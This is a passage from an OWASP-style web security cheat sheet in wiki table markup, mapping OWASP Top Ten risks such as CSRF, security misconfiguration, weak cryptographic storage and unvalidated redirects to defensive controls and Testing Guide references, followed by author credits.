||'''Obtain data from internal, trusted sources'''&lt;br /&gt;
&lt;br /&gt;
''Or ''&lt;br /&gt;
&lt;br /&gt;
'''Obtain direct value from random access reference access map'''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||''4.6.1 Testing for Path Traversal (OWASP-AZ-001)''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A5 Cross Site Request Forgery'''&lt;br /&gt;
||''Pre-render''&lt;br /&gt;
Validate user is authenticated&lt;br /&gt;
Validate role is sufficient for this view&lt;br /&gt;
&lt;br /&gt;
''Render''&lt;br /&gt;
'''Send CSRF token '''&lt;br /&gt;
Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies&lt;br /&gt;
||'''Validate CSRF token'''&lt;br /&gt;
Validate role is sufficient to perform this action&lt;br /&gt;
Validate role is sufficient &lt;br /&gt;
&lt;br /&gt;
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||''4.5.5 Testing for CSRF (OWASP-SM-005)''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A6 Security Misconfiguration'''&lt;br /&gt;
||Ensure web servers and application servers are hardened&lt;br /&gt;
&lt;br /&gt;
PHP – Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension &lt;br /&gt;
||Ensure web servers and application servers are hardened &lt;br /&gt;
&lt;br /&gt;
XML – Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. &lt;br /&gt;
||Ensure database servers are hardened &lt;br /&gt;
&lt;br /&gt;
||''4.2.6 Analysis of Error Codes (OWASP-IG-006)''&lt;br /&gt;
''4.3.2 DB Listener Testing (OWASP-CM-002)''&lt;br /&gt;
''4.3.3 Infrastructure Configuration Management Testing (OWASP-CM-003)''&lt;br /&gt;
''4.3.4 Application Configuration Management Testing (OWASP-CM-004)''&lt;br /&gt;
''4.3.5 Testing for File Extensions Handling (OWASP-CM-005)''&lt;br /&gt;
''4.3.6 Old, Backup and Unreferenced Files (OWASP-CM-006)''&lt;br /&gt;
''4.3.7 Infrastructure and Application Admin Interfaces (OWASP-CM-007)''&lt;br /&gt;
''4.3.8 Testing for HTTP Methods and XST (OWASP-CM-008)''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A7 Insufficient Cryptographic Storage'''&lt;br /&gt;
||''Design''&lt;br /&gt;
'''Use strong ciphers (AES 128 or better)'''&lt;br /&gt;
'''Use strong hashes (SHA 256 or better) with salts for passwords'''&lt;br /&gt;
'''Protect keys more than any other asset'''&lt;br /&gt;
&lt;br /&gt;
''Render''&lt;br /&gt;
Do not send keys or hashes to the browser&lt;br /&gt;
&lt;br /&gt;
||''Design''&lt;br /&gt;
'''Use strong ciphers (AES 128 or better)'''&lt;br /&gt;
'''Use strong hashes (SHA 256 or better) with salts for passwords'''&lt;br /&gt;
'''Protect keys more than any other asset'''&lt;br /&gt;
&lt;br /&gt;
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: It is best to encrypt data on the application server, rather than the database server.''&lt;br /&gt;
&lt;br /&gt;
||''Design''&lt;br /&gt;
&lt;br /&gt;
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being &amp;quot;encrypted&amp;quot; on disk. ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A8 Failure to Restrict URL access'''&lt;br /&gt;
||''Design''&lt;br /&gt;
'''Ensure all non-web data is outside the web root (logs, configuration, etc)'''&lt;br /&gt;
'''Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar'''&lt;br /&gt;
'''Ensure every page requires a role, even if it is &amp;quot;guest&amp;quot;'''&lt;br /&gt;
''	''&lt;br /&gt;
''Pre-render''&lt;br /&gt;
'''Validate user is authenticated'''&lt;br /&gt;
'''Validate role is sufficient to view secured URL'''&lt;br /&gt;
&lt;br /&gt;
''Render''&lt;br /&gt;
'''Send CSRF token '''&lt;br /&gt;
||'''Validate user is authenticated'''&lt;br /&gt;
'''Validate role is sufficient to perform secured action'''&lt;br /&gt;
'''Validate CSRF token'''&lt;br /&gt;
&lt;br /&gt;
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: Assume attackers '''will''' learn where &amp;quot;hidden&amp;quot; directories and &amp;quot;random&amp;quot; filenames are, so do not store these files in the web root, even if they are not directly linked.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||''4.4.5 Testing for bypassing authentication schema (OWASP-AT-005)''&lt;br /&gt;
''4.6.1 Testing for Path Traversal (OWASP-AZ-001)''&lt;br /&gt;
''4.6.2 Testing for bypassing authorization schema (OWASP-AZ-002)''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A9 Insufficient Transport Layer Protection'''&lt;br /&gt;
||Use TLS 1.2 or later for all web communications &lt;br /&gt;
Buy extended validation (EV) certificates for public web servers&lt;br /&gt;
&lt;br /&gt;
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''&lt;br /&gt;
||Mandate strong encrypted communications between web and database servers and any other servers or administrative users&lt;br /&gt;
||Mandate strong encrypted communications with application servers and any other servers or administrative users&lt;br /&gt;
&lt;br /&gt;
||''4.3.1 SSL/TLS Testing (OWASP-CM-001)''&lt;br /&gt;
''4.4.1 Credentials transport over an encrypted channel (OWASP-AT-001)''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A10 Unvalidated Redirects and Forwards'''&lt;br /&gt;
||'''Design the app without URL redirection parameters'''&lt;br /&gt;
&lt;br /&gt;
''or''&lt;br /&gt;
&lt;br /&gt;
''Render''&lt;br /&gt;
Use random indirect object references for redirection parameters&lt;br /&gt;
&lt;br /&gt;
||'''Design the app without URL redirection parameters'''&lt;br /&gt;
&lt;br /&gt;
''or''&lt;br /&gt;
&lt;br /&gt;
Obtain direct redirection parameter from random indirect reference access map&lt;br /&gt;
(LR) Positive validation of redirection parameter &lt;br /&gt;
(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms &lt;br /&gt;
&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Andrew van der Stock vanderaj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
Ismael Rocha Gonçalves ismaelrg[at]gmail.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Ismael Rocha</name></author>	</entry>

	</feed>